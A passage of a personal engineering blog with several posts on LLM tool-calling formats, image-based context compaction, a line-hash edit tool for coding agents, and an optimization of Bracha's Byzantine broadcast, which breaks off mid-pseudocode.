Can.ac

The Minutiae of Tool-calling

Mon, 03 Aug 2026 00:00:00 +0000

Two years ago I was hosting my own SMTP server and had a simple goal: receiving one-time codes + the occasional human email. But I kept running into two issues:

It was a PITA to extract the number/link in a generic way
It kept receiving spam, being a wild-card inbox

This was around the time GPT 3 came out, but we didn’t have structured output yet, let alone tool-calls, so I came up with this beautiful strategy:

 1// Mail classifier.
 2//
 3const classifyMail = createPipeline(
 4 'mail corpus',
 5 z.object({
 6 chance: z
 7 .number()
 8 .min(0)
 9 .max(1)
10 .describe('Chances of the email being important (password reset, verification etc.) and not filtered by the smart email filter.'+
11 'Promotional, scam-like, spammy, and advertising content should receive a 0 score.'),
12 linkOrCode: z.string().optional().describe('Any important link or code'),
13 summary: z.string().describe('Summary of the body')
14 }),
15 {
16 lang: 'English'
17 }
18);

 1export function createPipeline<Z extends z.ZodType>(input: string, schema: Z, cfg?: GptConfig) {
 2 const { lang = 'English', instruction: einstruction, model = 'gpt-3.5-turbo', temperature = 0.1, top_p = 1.0 } = cfg ?? {};
 3 const instruction = optimizePrompt(`
 4 ${model.startsWith('gpt') ? 'User messages are ' : 'Input is'} ${input}.
 5 ${einstruction ?? ''}
 6 Reply with a JSON structured with schema${lang ? ` strictly in ${lang}` : ''}:
 7 """
 8 ${createTypeSchema(schema)}
 9 """
10 `);

+ repairing JSON, stripping fences, etc., etc. Combine a bunch of these, and you end up with LangChain; which raised $10m despite being rendered obsolete within a few months & ofc pivoted since then, but I digress

If you have not suffered through reinventing this stuff, chances are, you think tool calling is 👻 magic inference stuff 👻.

This is OK, but as it goes with any engineering topic, my opinion is that if you don’t understand how the underlying layers work, you’re gonna run into issues. (duh no one would’ve guessed that coming from an RE guy).

Let me first prove why it matters, and then we will ruin the magic.

0x0: Who Cares?

You are trapped in a room with Claude. There’s a keypad near him with two buttons. One shows how far he is from the right combination, other submits the combination. Two wrong guesses, you’re out.

Unfortunately you’re tied and you’re gonna have to instruct Claude.

 1def compare_door_digit(secret_digit, digit):
 2 return -1 if digit < secret_digit else (0 if digit == secret_digit else 1)
 3
 4def try_probe(self, position, digit):
 5 """Count one comparison and light up the position once it lands exactly."""
 6 if not (1 <= position <= ROOM_DIGITS and 0 <= digit <= 9):
 7 return "invalid"
 8 return compare_door_digit(int(self._secret[position - 1]), digit)
 9
10def submit_guess(self, value):
11 """Consume one of two attempts for an exact-length digit-string code.
12
13 Malformed guesses (wrong type, wrong length, non-digits) are rejected
14 without consuming an attempt, so a schema-violating placeholder such
15 as `guess: 0` cannot burn the game."""
16 code = value.strip() if isinstance(value, str) else None
17 if code is None or len(code) != ROOM_DIGITS or not code.isdigit():
18 return f"invalid code: pass the full {ROOM_DIGITS}-digit code as a string"
19 if code == self._secret:
20 self._counters["won"] = True
21 return "escaped room"
22 if self._counters["guesses"] >= 2:
23 return "failed to escape: two wrong guesses"
24 return "wrong: one guess remaining"

5 digits, 24 turns, optimal play is boring and obvious: binary-search all five positions in parallel (~17 comparisons), submit once. Any model can do this; a python REPL can do this, I know. Play along please.

Here are five interfaces you could hand him:

 1Sign = Literal[-1, 0, 1]
 2
 3# A. naive: one comparison per call
 4def guess(*, code: str) -> str: ...
 5def probe(*, position: int, digit: int) -> Sign: ...
 6
 7# B. batch: same thing, arrays
 8class Probe(TypedDict):
 9 position: int
10 digit: int
11def guess(*, code: str) -> str: ...
12def probe_many(*, probes: list[Probe]) -> list[Sign]: ...
13
14# C. exec: "clever" packing: 27 means position 2, digit 7.
15def exec(*, probes: list[int], guess: str | None = None) -> list[Sign]: ...
16
17# D. vector: try a full code, get a sign back per position, borderline cheating, but whatever.
18def guess(*, code: str) -> str: ...
19def check(*, code: str) -> list[Sign]: ...
20
21# E. unicode: we give it no tools at all, ask it to reply in emoji 🔍2=7 to probe, 🔑01756 to submit

Rank them. No seriously, actually commit to a ranking before you scroll, which one do you think wins? (efficiency & win-rate).

If you ranked by how proper they look, or according to “le official prompting guide” you put E last. Let’s see.

0x1: The Scoreboard

You can see the actual setup here so no cheating. Same system-prompt and all that, feel free to repro.

OK but Can, models got a lot better since then! This is a very weak model!!!

OK but Can, clearly parallel tool calls didn’t work here! Plus Luna is still not a frontier model! You cannot ask it to operate two tools!!!

Now at this point, without prior knowledge, your reaction is:

“Huh?”
“Seeeee the frontier model can do binary search just fine!!! LGTM”

In which case I’d like to remind you:

Emoji still spent 2x less tokens
If this was a real task, emoji one could have used a 100x cheaper model, matched you in wr%, and would be miles ahead in terms of speed & cost

To explain any of this, we have to go a layer down.

0x2: Ruining the Magic

A language model computes one thing: given a sequence of tokens, a probability distribution over the next one. Run it in a loop and that’s autoregression. Forward pass ends in a logit per vocabulary entry; softmax => probabilities; temperature flattens or sharpens; top-p chops the tail; sampler draws: 1 token.

So here’s a phrase to delete from your vocabulary: “the model decided to call a tool.”

There’s no such thing, in fact, there’s also no such thing as a user turn, assistant turn, system prompt, all your fancy concepts essentially end up being delimiters in a thread, passed to the completion loop.

Claude never even receives your tools array. For example, the probe tool lands like this in harmony (OpenAI’s format), as a developer message:

 1# Tools
 2
 3## functions
 4
 5namespace functions {
 6
 7// Compare one digit guess against the secret door keypad digit
 8// at a 1-indexed position. Returns -1 too low, 0 exact, +1 too high.
 9type probe = (_: {
10// keypad position, 1 through 5
11position: number,
12// digit guess, 0 through 9
13digit: number,
14}) => any;
15
16} // namespace functions

Your schema is documentation; validation happens in your code, maaaybe if the inference provider feels like it, they will validate it. Maaaybe they might push the inference engine towards outputting valid arguments.

The descriptions you put in your schema, the mins, the maxes, you don’t even know if they will be displayed, let alone checked. Sorry!

A “call” is the model outputting:

1<function_calls>
2<invoke name="bash"><parameter name="arg_name">arg value</parameter></invoke>
3</function_calls>

Parallel tool calls? Multiple <invoke> blocks inside the same <function_calls> block. Not all that magical, is it?

If you’re curious about the rest of the dialects, you can see the whole list of different ones here.

0x3: Let’s Rank Again

Once you see the token stream, the scoreboard stops being mysterious.

Worst: Naive

Arguably the kind of tool design most of the vibe-coded mcp’s go with, it can only be efficient with parallel-tool calls and has lots of room for failure.

OK: Batch | Exec

One step further, designed by someone who cares; see: Pi’s edit tool. But unlike the prior one, it now requires the model to emit JSON. (huh what why?)

Well my friend, you should know this now! See, for each <parameter> block, if the argument is a primitive, the model can just output the plain value afterwards. The delimiter </parameter> is a special token, so no need to worry about escaping!

But if it’s a complex object or an array? Well, it now has to emit a valid JSON escaped value, which needs to be parsed back, or a tool calling error happens! Funny enough, for the frontier models, this one will perform the worst, as parallel-tool calls will lift up the naive one.

Best: Vector

This is again a step further, now it’s a flat parameter set! It also forces the model into making at least 5 comparisons for each round. This is arguably the best kind of design you could come up with, given the problem statement we started with. The guess function being a separate thing is one drawback, but I kinda forced your hand.

It still has the usual failure modes though. For instance, sampling errors that lead to calls like to=functions.check.commentary (json.Xna 天天送钱 code 】, or models not emitting any calls.

Winner: Chad 😎

No nesting, no special tokens, very easy to parse, and 🔍2=7 almost has no room for failure. Maybe some model will emit 2->7, but you can easily correct. They can put garbage before, after, you don’t care.

This was very very obvious, hopefully, it is to you now as well.

Rule of thumb: reliability degrades with nesting x heterogeneity × cleverness, and you NEED the harness to handle the common failure modes of the dialect. I’m sorry, real-life isn’t pretty!

0x4: #wontfix

OK but Can, labs RL these models on millions of agent trajectories now! Native tool calls ARE the trained path!!

Largely true, post-training genuinely shoves probability mass toward the tool channel, but:

exec is still 7/10 on luna. RL teaches the shapes RL practiced: flat args, boring schemas. Your clever packing doesn’t inherit that reliability; it’s off-distribution for the tool-RL exactly like it was for the base model.
it didn’t hit zero. Opus still dropped a room to a call-free reply (batch, 9/10). Reliability is rate × exposure, and real agents run thousands of turns, not 24. A per-turn failure rate too small to see in this demo is still a certainty at scale.
the meter doesn’t care. Opus matched E’s 10/10 but still paid 2-3x its token bill. You still wasted a lot of envelope tokens.
you needed the frontier. Hopefully self-explanatory, but, do you really need opus for this trivial task? If you do, isn’t it your failure as the designer?

They’re your protocol’s shortcomings, they collect rent every single turn: needing a smarter model, more tool call failures, more verbose output…

No, I’m not telling you to ship emoji. The moment you have 10 tools instead of 2, native tool-calls win on ergonomics alone and I use it like everyone else. The point is that you now know why E obviously won.

You also know how to design tools that will try their best, just like D did; as well as why the minimal harness is not what you want. Assistant leaked the function call into its output text? Now, you have to deal with that, hf!

The models may have gotten smarter, but they do not think about all these things when you ask them to “add a tool for X”, or “make me an agent loop”.

It is in fact your responsibility to get the most out of a model: making it work with the smallest model, adding as many guardrails as possible, maximizing reliability across different families of models.

You shouldn’t file a bug with the provider when you see to=functions.check.commentary (json.Xna 天天送钱 code, and go to lunch. There is no fix coming!

Two years later, I’m still doing the same thing I did with my mailbox: babying the model into actually doing the thing & designing the thinnest grammar I can get away with in between.

Snapcompact: SoTA Compaction — Instant, Local, Free. Pick 3

Wed, 10 Jun 2026 00:00:00 +0000

A 1568×1568 PNG fits about 40,000 characters of text in a 6×10 pixel font. That’s ~10,000 tokens worth of text, billed by Anthropic’s pixel formula as 3,279 image tokens. Do you see where I’m going with this?

Snapcompact: when the context window fills up, render it into dense pixel-font bitmaps and hand those back as images. “A picture is worth a thousand words” turns out to be quite literally true — the model reads it back near-verbatim, at a third of the input price. Obligatory benchmark:

This started as a joke (“free token glitch lol”). Then I benchmarked it, identified where it went wrong, cracked open Qwen’s attention layer, fixed the issues, benchmarked it again — and here I am writing it up, because it generalized remarkably well to frontier models.

0x0: The Case Against Compaction

I am not a big fan of compaction. In every single harness, including my own, I’ve always felt like it “crippled” the model to the point where you would have been better off with a completely new session.

Eliding tool results is an okay alternative — instant, deterministic — but sometimes not really sufficient. It also occasionally confuses the model about tool calling. LLMs complete stories; if half of your story is [elided...], how confident do you think it will be about using them?

Handoffs are as good as it gets — but unlike a plan, you don’t usually steer the handoffs, and when you don’t, agents waste precious context writing an unnecessarily detailed diary, followed by a TODO list that practically begs the next agent to declare the goal impossible and ship an “MVP” instead.

My thinking was essentially that if you need compaction often, you’re doing something wrong: the plan either has scope creep, or should have been explicitly orchestrated via subagents so that the main agent could stay responsible for the entire scope.

However, spoiled by the 1M context window, these days I often hit the 500k mark by the end of a session — a mortal sin in my book a few months ago. But long-horizon tasks do better when one coherent agent drives the plan uninterrupted, and that easily reaches those levels even with aggressive delegation.

So there I was, staring at the 5h usage limit bar going red while this thing grinned back at me, thinking: maybe I should compact regularly…

Fine. But if I have to compact, it’s going to lose nothing.

0x1: A Stupid Experiment

It began with a 328KB session log and a simple question: what if I just printed this thing out and started the session with it?

Attempt one was maximally greedy: Tom Thumb, a 3×5 pixel font, 122,696 characters in a single image.

I sent it to a fresh agent session, zero explanation, and got back:

The image appears to be pure noise with random pixels, which suggests it might be corrupted or a file that’s been misnamed as PNG.

Fair. Attempt two used the X11 6x10 font (glyphs actually designed for that cell size), 40,716 characters, with each text row cycling through six colors. Same model, and there it was:

It identified the session’s topic and quoted me back verbatim.
It named 18 identifiers from the log with 100% recall.
Asked about a single assignment in the bottom-most row of the image, where the log cuts off, it hedged (“I’d be guessing — possibly 0”) — and guessed the state right.

10k tokens of text, carried by 3,279 image tokens, recalled with near-perfect precision. Okay. Now I’m invested.

0x2: Optimizing the Fonts

How small can the font go? I swept some font configurations and asked the model to transcribe fixed regions, scoring edit similarity against ground truth:

font	px²/char	chars/image	transcription	identifiers read
8×13	104	23,520	1.00	20/20
6×10	60	40,716	0.79	20/20
5×8	40	61,348	0.37	17/19
5×7	35	70,112	0.30	10/20
4×6	24	102,312	0.02	9/20

The cliff is sharp and it sits around 35–40 px² per character. Above it, exact transcription degrades but identifier-level recall stays weirdly strong: the model can’t reproduce every byte, but it reads the names. Below it, nothing.

The funny thing is, this section was worse than useless — this exact optimization comes back to bite us in a bit.

0x3: Thinking…

Anecdotes about my own log don’t generalize, so let’s get a proper benchmark: SQuAD v1.1, extractive questions with gold answers. The harness packs passages into chunks sized to each technique’s carrying capacity, samples 30 questions per chunk spread evenly (so answers land at every image row, top to bottom), and runs every technique over the same corpus:

text — the corpus passed verbatim; the ceiling,
handoff — a simple handoff prompt,
compact — provider-side compaction where available, a summarization call otherwise,
img-{font}-{variant} — snapcompact, where the variant is bw (plain black-on-white) or sent (glyph ink cycles color per sentence).

Scores are SQuAD F1; models are told to answer UNREADABLE when they can’t extract the fact.

technique	fable-5	opus-4.8	gpt-5.5	gemini-3.5-flash
text (ceiling)	0.904 $0.4984	0.911 $0.6367	0.861 $0.0847	0.898 $0.0577
handoff	0.540 $1.2241	0.248 $1.0065	0.368 $0.2386	0.889 $0.1759
compact	0.406 $0.9427	0.000 $0.7576	0.896 $0.3393	0.000 $0.0420
img-6×10-sent	0.882 $0.6400	0.601 $0.2430	0.822 $0.2452	0.805 $0.0970
img-6×10-bw	0.856 $0.7568	0.652 $0.2369	0.792 $0.3026	0.767 $0.1135
img-5×8-sent	0.773 $0.4532	0.409 $0.1626	0.751 $0.1819	0.738 $0.1006
img-5×8-bw	0.830 $0.6866	0.425 $0.1619	0.778 $0.2359	0.674 $0.0941

For a first attempt not bad… wait, muh token savings, how is this more expensive? Let’s have a look at this other table.

Tokens: input/output/thinking

technique	fable-5	opus-4.8	gpt-5.5	gemini-3.5-flash
text (ceiling)	37,793 / 2,410 / 1,435	37,793 / 931 / 0	17,761 / 2,998 / 2,298	24,535 / 10,745 / 9,983
handoff	49,363 / 14,609 / 3,717	43,237 / 4,773 / 0	25,032 / 11,710 / 4,835	49,387 / 36,577 / 11,959
compact	45,130 / 9,828 / 3,248	40,436 / 2,014 / 0	45,562 / 15,329 / 1,032	26,151 / 6,582 / 5,422
img-6×10-sent	11,816 / 10,437 / 9,483	11,816 / 877 / 0	10,188 / 14,049 / 13,368	4,991 / 23,491 / 22,764
img-6×10-bw	11,816 / 12,772 / 11,782	11,816 / 796 / 0	10,188 / 17,639 / 16,958	4,991 / 27,616 / 26,879
img-5×8-sent	7,955 / 7,474 / 6,897	7,955 / 577 / 0	4,519 / 10,773 / 10,336	3,355 / 24,659 / 24,196
img-5×8-bw	7,955 / 12,141 / 11,559	7,955 / 568 / 0	6,823 / 13,892 / 13,463	3,355 / 23,014 / 22,542

A few conclusions:

It does work: on fable, 0.86–0.96 F1 across every corpus length I tested, carrying the same information for a third of the input price. Amazing.
The input savings aren’t free: models decode dense images by reasoning about them, and that thinking costs ~5× the output tokens of the text condition (in this example).

At Anthropic’s output pricing the decode tax can eat the input savings in a single pass. This is a nitpick at 40k tokens — (a) nobody compacts at that range, (b) the decode happens once, not every turn — but still: suboptimal.

The baselines mostly confirm why this is worth doing at all. Prose compaction is a fact shredder: on compacted context, Gemini answered UNREADABLE 240 times out of 240, Opus 209 — the summaries preserve what you were doing, not what you knew. Two exceptions: OpenAI’s opaque server-side compaction retains nearly everything (but they might just be skipping it, who knows?), and Gemini’s handoff documents disobey the prompt’s spirit and write down the trivia, lol.

Anyhow — whether the technique works is an empirical property of each model’s vision stack, and you have to test it. So now we’re gonna have to learn how the vision stack actually works.

0x4: Two Carriers, One State

The stronger claim, the one that makes snapcompact a memory format instead of a party trick, is that the model thinks the same with either carrier. We know it reads the image; the question is whether the internal result is text-shaped.

Setup, on a local Qwen2.5-VL-7B-Instruct: take one SQuAD chunk and twelve questions over it. Run each question twice: once with the chunk as plain text in the prompt, once with the chunk as a 1568² bitmap — and capture the hidden state at the last prompt token, the model’s “about to answer” summary, at every decoder layer.

Raw states look similar for boring reasons (same template, same model), so the comparison subtracts each carrier’s per-layer mean — anything that survives centering is content, not carrier. Then three measurements:

Matched pairs (same question, text ↔ image): cosine 0.66 at layer 19. Mismatched pairs (different questions): −0.06. The state encodes which question against which content, not which input format.
Cross-carrier retrieval: for every text run, find the nearest image run. From layer 2 onward it’s the same question 12 out of 12 times.
Representational geometry: the 12×12 question-similarity matrix computed inside the text carrier correlates with the image carrier’s at r = 0.94 by layer 1, settling to 0.85 at the final layer. The two carriers print the same relational structure almost immediately; what deepens with depth is the per-question state fusion.

Behaviorally, both carriers generate the same answers. That’s the property the pricing math cashes in on: the PNG isn’t a picture of your context — it converges to being your context.

If pixels become text inside the model, you can ask where. The instrument is a logit lens: at every layer, take the hidden state of the visual token covering the answer word, push it through the final RMSNorm and the LM head, and check the top-1 vocabulary entry. Lock-on is the first layer whose top-1 is a BPE piece of the answer.

For the baseline 8×13 rendering, the patch containing the tail of “spectacular” decodes as CJK noise for seventeen layers, passes through letter-shaped noise around L18 (ALLERY, IGHL — strokes assembling into orthography), and flips to acular at L24, climbing to p=0.39 by the last layer.

This matters because layers before lock-on are spent turning pixels into words, and layers after are free to work with them. So I decided to be a simpleton. Attention accumulates evidence, yes? Repeat the lines, and the read should get stronger?

Another thing that’s very obvious once you know how the vision tokens work — Qwen slices the image into 28×28-pixel windows, one visual token each — is that the font size we picked at the beginning of this article, purely by yolo, won’t fly. At 6×10, every token window holds fragments of ~13 glyphs smeared across three text rows.

Less overlapping garbage in a token’s window: less thinking required. Simple.

condition	lock-on	peak p(answer)	chars/visual token
base 8×13	L24	0.39	7.5
repeat lines ×2, colored	L23	0.94	3.75
aligned, 4×2 chars/token	L24	0.74	8.0
aligned, 2×1 chars/token	L23	0.99	2.0
aligned, 1 char/token	L22	0.99	1.0
aligned + repeated	L23	1.00	1.0

The depth refused to move (significantly): L24 to L22, best case. That’s consistent with the OCR-routing literature where vision becomes text is an architectural property. But the confidence is fully controllable: line repetition alone took the decode from 0.39 to 0.94 while still carrying 3.75 chars per visual token. The format can’t make the model read sooner; it can make the reading unambiguous. Grug model not think much.

Now at this point, while doing lit review, I noticed this is not really a new idea: DeepSeek-OCR trained a custom encoder for optical context compression, and Karpathy riffed on pixels maybe beating tokens as an input medium.

In the agent-harness context, though, it seems like people saw the amount of thinking being wasted and called it a day. But would you look at that? The grug-brain optimization we made for Qwen generalizes remarkably well to frontier models!

Dense-text bitmaps as context carriers, carefully adjusted, do very well. Synthetic pixel-font renderings at the legibility floor, benchmarked — billing formulas, silent downscales, and adaptive-thinking costs included — against the compaction strategies agents actually ship. Go team PNG!
Lock-on you can drive to certainty on a 7B open model. From p=0.39 to p=1.00 with such a small change is significant. Yes, repetition doubles the pixel area — we could have had much more significant savings than a mere ~3× — but that’s still cheaper than text, now with near-perfect recall. Hell, return tool results as PNGs if you want.

Here it is, running live in the harness:

The harness wins again: nothing about the models changed; we changed the context around them.

Eval harness, font renderer, per-question records, white-box probes: omp — uv run final.py reproduces the API grid (~$35 cold, free from cache after); the representation runs need a local GPU with Qwen2.5-VL-7B.

Coming very soon to oh-my-pi!

I Improved 15 LLMs at Coding in One Afternoon. Only the Harness Changed.

Thu, 12 Feb 2026 00:00:00 +0000

In fact only the edit tool changed. That’s it.

0x0: The Wrong Question

The conversation right now is almost entirely about which model is best at coding, GPT-5.3 or Opus. Gemini vs whatever dropped this week. This framing is increasingly misleading because it treats the model as the only variable that matters, when in reality one of the bottlenecks is something much more mundane: the harness.

Not only is it where you capture the first impression of the user (is it uncontrollably scrolling, or smooth as butter?), it is also the source of every input token, and the interface between their output and every change made to your workspace.

I maintain a little “hobby harness”, oh-my-pi, a fork of Pi, a wonderful open-source coding agent by Mario Zechner. I’ve so far authored ~1,300 commits, mostly playing around and making incremental improvements here and there when I see a pain point, (~~or autism strikes and I see an opportunity to embed more Rust via N-API because “spawning rg feels wrong”~~).

Why bother, you ask? Opus may be a great model, but Claude Code to this day leaks raw JSONL from sub-agent outputs, wasting hundreds of thousands of tokens. I get to say, “fuck it, subagents output structured data now”.

Tool schemas, error messages, state management, everything between “the model knows what to change” and “the issue is resolved.” This is where most failures happen in practice.

Being model agnostic, it is a great testing ground, as the model is but a parameter. The real variable is the harness, where you have unimaginable control over.

Anyhow, let me tell you about this one variable I changed yesterday.

0x1: Edit Tool!

Before I explain what I built, it’s worth understanding the state of the art.

Codex uses apply_patch: It takes a string as input, which is essentially an OpenAI-flavored diff, and instead of relying on a structured schema, the harness just expects this blob to follow a strict set of rules. Since OpenAI folks are without a doubt smart, I’m sure the token selection process is biased to fit this structure at the LLM gateway for the Codex variants of GPT, similar to how other constraints like JSON schemas or required tool calls work.

But give this to any other model, completely unaware of it? Patch failures go through the roof. Grok 4’s patch failure rate in my benchmark was 50.7%, GLM-4.7’s was 46.2%. These aren’t bad models — they just don’t speak the language.

Claude Code (and most others) use str_replace: find the exact old text, swap in the new text. Very simple to think about. But the model must reproduce every character perfectly, including whitespace and indentation. Multiple matches? Rejected. The “String to replace not found in file” error is so common it has its own GitHub issues megathread (+27 other issues). Not exactly optimal. Gemini does essentially the same thing plus some fuzzy whitespace matching.

Cursor trained a separate neural network: a fine-tuned 70B model whose entire job is to take a draft edit and merge it into the file correctly. The harness problem is so hard that one of the most well-funded AI companies decided to throw another model at it, and even then they mention in their own blog post that “fully rewriting the full file outperforms aider-like diffs for files under 400 lines.”

Aider’s own benchmarks show that format choice alone swung GPT-4 Turbo from 26% to 59%, but GPT-3.5 scored only 19% with the same format because it couldn’t reliably produce valid diffs. The format matters as much as the model.

The Diff-XYZ benchmark from JetBrains confirmed it systematically: no single edit format dominates across models and use cases. EDIT-Bench found that only one model achieves over 60% pass@1 on realistic editing tasks.

As you can see, there is no real consensus on the “best solution” to the simple “how do you change things” problem. My 5c: none of these tools give the model a stable, verifiable identifier for the lines it wants to change without wasting tremendous amounts of context and depending on perfect recall. They all rely on the model reproducing content it already saw. When it can’t — and it often can’t — the user blames the model.

0x2: Hashline!

Now bear with me here. What if, when the model reads a file, or greps for something, every line comes back tagged with a 2-3 character content hash:

11:a3|function hello() {
22:f1| return "world";
33:0e|}

When the model edits, it references those tags — “replace line 2:f1, replace range 1:a3 through 3:0e, insert after 3:0e.” If the file changed since the last read, the hashes (optimistically) won’t match and the edit is rejected before anything gets corrupted.

If they can recall a pseudo-random tag, chances are, they know what they’re editing. The model then wouldn’t need to reproduce old content, or god forbid whitespace, to demonstrate a trusted “anchor” to express its changes off of.

0x3: The Benchmark

Since my primary concern was about real-world performance, the fixtures are generated as follows:

Take a random file from the React codebase.
Introduce mutations, framed as bugs, via an edit whose inverse we can expect (e.g. operator swaps, boolean flips, off-by-one errors, optional chains removed, identifiers renamed).
Generate a description of the issue in plain English.

An average task description looks something like this:

1# Fix the bug in `useCommitFilteringAndNavigation.js`
2
3A guard clause (early return) was removed.
4The issue is in the `useCommitFilteringAndNavigation` function.
5Restore the missing guard clause (if statement with early return).

Naturally, we don’t expect 100% success rate here, since the model can come up with a unique solution that isn’t necessarily the exact same file, but the bugs are mechanical enough that most of the time, the fix is our mutation being reverted.

3 runs per task, 180 tasks per run. Fresh agent session each time, four tools (read, edit, write). We simply give it a temporary workspace, pass the prompt, and once the agent stops, we compare against the original file before and after formatting.

Sixteen models, three edit tools, and the outcome is unambiguous: patch is the worst format for nearly every model, hashline matches or beats replace for most, and the weakest models gain the most. Grok Code Fast 1 went from 6.7% to 68.3%, a tenfold improvement, because patch was failing so catastrophically that the model’s actual coding ability was almost completely hidden behind mechanical edit failures. MiniMax more than doubled. Grok 4 Fast’s output tokens dropped 61% because it stopped burning tokens on retry loops.

0x4: So What?

+8% improvement in the success rate of Gemini is bigger than most model upgrades deliver, and it cost zero training compute. Just a little experimenting (and ~$300 spent benchmarking).

Often the model isn’t flaky at understanding the task. It’s flaky at expressing itself. You’re blaming the pilot for the landing gear.

0x5: Little Bit About the Vendors

Anthropic recently blocked OpenCode, a massively popular open-source coding agent, from accessing Claude through Claude Code subscriptions.

Anthropic’s position “OpenCode reverse-engineered a private API” is fair on its face. Their infrastructure, their rules. But look at what the action signals:

Don’t build harnesses. Use ours.

It’s not just Anthropic either. While writing this article, Google banned my account from Gemini entirely:

Not rate-limited. Not warned. Disabled. For running a benchmark — the same one that showed Gemini 3 Flash hitting 78.3% with a novel technique that beats their best attempt at it by 5.0 pp. I don’t even know what for.

Here is why that is backwards. I just showed that a different edit format improves their own models by 5 to 14 points while cutting output tokens by ~20%. That’s not a threat. It’s free R&D.

No vendor will do harness optimization for competitors’ models. Anthropic won’t tune for Grok. xAI won’t tune for Gemini. OpenAI won’t tune for Claude. But an open-source harness tunes for all of them, because contributors use different models and fix the failures they personally encounter.

The model is the moat. The harness is the bridge. Burning bridges just means fewer people bother to cross. Treating harnesses as solved, or even inconsequential, is very short-sighted.

I come from a background of game security. Cheaters are hugely destructive to the ecosystem. Sure, they get banned, chased, sued, but a well-known secret is that eventually the security team asks, “Cool! Want to show us how you got around that?”, and they join the defense.

The correct response when someone messes with your API, and manages to gather a significant following using their tools is “tell us more”, not “let’s blanket-ban them in thousands; plz beg in DMs if you want it reversed tho.”

The harness problem is real, measurable, and it’s the highest-leverage place to innovate right now. The gap between “cool demo” and “reliable tool” isn’t model magic. It’s careful, rather boring, empirical engineering at the tool boundary.

The harness problem will be solved. The question is whether it gets solved by one company, in private, for one model, or by a community, in the open, for all of them.

The benchmark results speak for themselves.

All code, benchmarks, and per-run reports: oh-my-pi

Optimizing Bracha's Reliable Broadcast: Shaving Rounds off a 37-Year-Old Algorithm

Thu, 25 Dec 2025 00:00:00 +0000

Bracha’s reliable broadcast has been the go-to Byzantine broadcast primitive since 1987. Three rounds, $O(n^2)$ messages, optimal fault tolerance at $n > 3f$. Textbook stuff.

I’ve been trying to get a fast multi-value agreement primitive: something where all nodes propose values and agree on one (or ⊥ if they’re hopelessly split). Reliable broadcast is the natural building block, but three rounds felt like overkill for the happy path.

So I went digging. Months of searching the literature turned up plenty of options, but they all came with catches: weaker fault models, synchrony assumptions, trusted setups. Nothing that felt like a clean win. Eventually I circled back to Bracha and noticed something hiding in plain sight: by using a larger quorum for the optimistic path, we can deliver in two rounds when conditions are good. No new assumptions. Same fault tolerance. Just better intersection properties.

This post covers the optimized broadcast and the MVA extension I built on top of it.

0x0: Quick Refresher on Bracha

Byzantine reliable broadcast solves a deceptively simple problem: a designated leader wants to broadcast a value $v$ to $n$ parties, where up to $f < n/3$ can be malicious (Byzantine). The protocol must guarantee that all honest parties either agree on the same value or don’t deliver anything at all, but no split-brain scenarios allowed.

Asynchronous model is the hardest setting for distributed protocols. Messages can be delayed arbitrarily by the adversary, there are no timeouts or clocks you can rely on, and you can’t tell a slow node from a dead one. The upside: protocols proven correct in this model stay safe no matter what happens with timing. The downside: you can’t guarantee termination if enough nodes are faulty (see FLP impossibility).

Quorum intersection is the key trick. If you require $n - f$ nodes to agree on something, any two such sets overlap. With $n > 3f$, the overlap is at least $f + 1$ nodes, so at least one is honest. This honest node “witnesses” both sets and can prevent conflicting decisions.

Correctness of a solution boils down to three properties:

Agreement: Honest parties that deliver, deliver the same value
Validity: If the leader is honest and broadcasts $v$, all honest parties eventually deliver $v$
Totality: If one honest party delivers, all honest parties eventually deliver

Bracha’s protocol uses three message types across three rounds:

upon start as leader with input v:
send ⟨INIT, v⟩ to all
upon ⟨INIT, v⟩ from leader ∧ sentₑ = ⊥:
send ⟨ECHO, v⟩ to all; sentₑ ← v
upon E(v) ≥ n−f ∧ sentᵣ = ⊥:
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(v) ≥ f+1 ∧ sentᵣ = ⊥: // Amplification
send ⟨READY, v⟩ to all; sentᵣ ← v
upon R(v) ≥ n−f ∧ delivered = ⊥:
deliver(v)

Why the READY round? ECHOs alone can’t guarantee termination. A Byzantine leader can equivocate, sending different values to different parties, fragmenting honest echoes.

Standard quorum intersection gives us $n - 2f > f$ overlap between any two $(n-f)$-sized sets. That’s enough honest overlap to prevent two conflicting values from both reaching $n-f$ ECHOs—but it doesn’t help when neither value reaches threshold. A Byzantine leader can fragment honest echoes across multiple values, leaving everyone stuck. The READY round breaks the deadlock.

0x1: The Counterintuitive Shortcut

The clue came from a Tendermint forum post explaining why their protocol needs a pre-vote phase. The observation: with $n = 3f+1$ nodes, you need pre-vote. But with $n = 5f+1$ nodes, you can skip it entirely.

I stared at this for a while. How can adding nodes let you skip a round? Rounds exist to do something. You can’t just add redundancy and magically skip a communication step…

However, it starts to make sense once you realize the extra nodes aren’t just redundancy. They change the flavor of quorum intersection. Standard quorum intersection guarantees overlap, but that overlap might be almost entirely Byzantine. A larger quorum guarantees honest nodes in the overlap. And honest nodes don’t equivocate. What if we had a majority of honest nodes right in there?

We don’t need more nodes. We need a higher threshold on the same nodes, which gives us the same stronger intersection property.

Define three thresholds:

\[ \begin{aligned} Q &= n - f &&\text{(standard quorum)} \\ Q_o &= \lfloor n/2 \rfloor + f + 1 &&\text{(optimistic threshold)} \\ Q_a &= f + 1 &&\text{(amplification threshold)} \end{aligned} \]

The magic is in $Q_o$:

Lemma (Strong Intersection): Any two sets of size $$Q_o$$ overlap in at least $$f+1$$ honest parties.

Proof: Let $S_1, S_2$ be sets of size $Q_o$.

\[ |S_1 \cap S_2| \geq 2Q_o - n = 2(\lfloor n/2 \rfloor + f + 1) - n \geq 2f + 1 \]

Since at most $f$ are Byzantine, the overlap contains at least $f + 1$ honest parties. ∎

Let’s visualize why this matters. With $n = 10$ and $f = 3$:

Fundamentally different from standard quorum intersection. With $$Q_o$$ echoes for some value $$v$$ , we know that $\geq f+1$ honest parties echoed $$v$$ . And honest parties echo exactly once. So no conflicting value can ever reach $$Q_o$$ , or even $$Q$$ , since the remaining honest parties number at most $$(n - f) - (f + 1) = n - 2f - 1 < Q - f$$ .

We can deliver before the READY round completes. READYs still propagate to ensure totality.

0x2: Round-Optimized Bracha

The optimized protocol adds an “optimistic delivery” path:

upon ⟨INIT, v⟩ from leader ∧ sentₑ = ⊥:
send ⟨ECHO, v⟩ to all; sentₑ ← v
upon E(v) ≥ Qₒ ∧ delivered = ⊥: // Optimistic
if sentᵣ = ⊥: send ⟨READY, v⟩ to all; sentᵣ ← v
deliver(v); delivered ← v
upon E(v) ≥ Q ∧ sentᵣ = ⊥ ∧ delivered = ⊥: // Q echoes -> ready
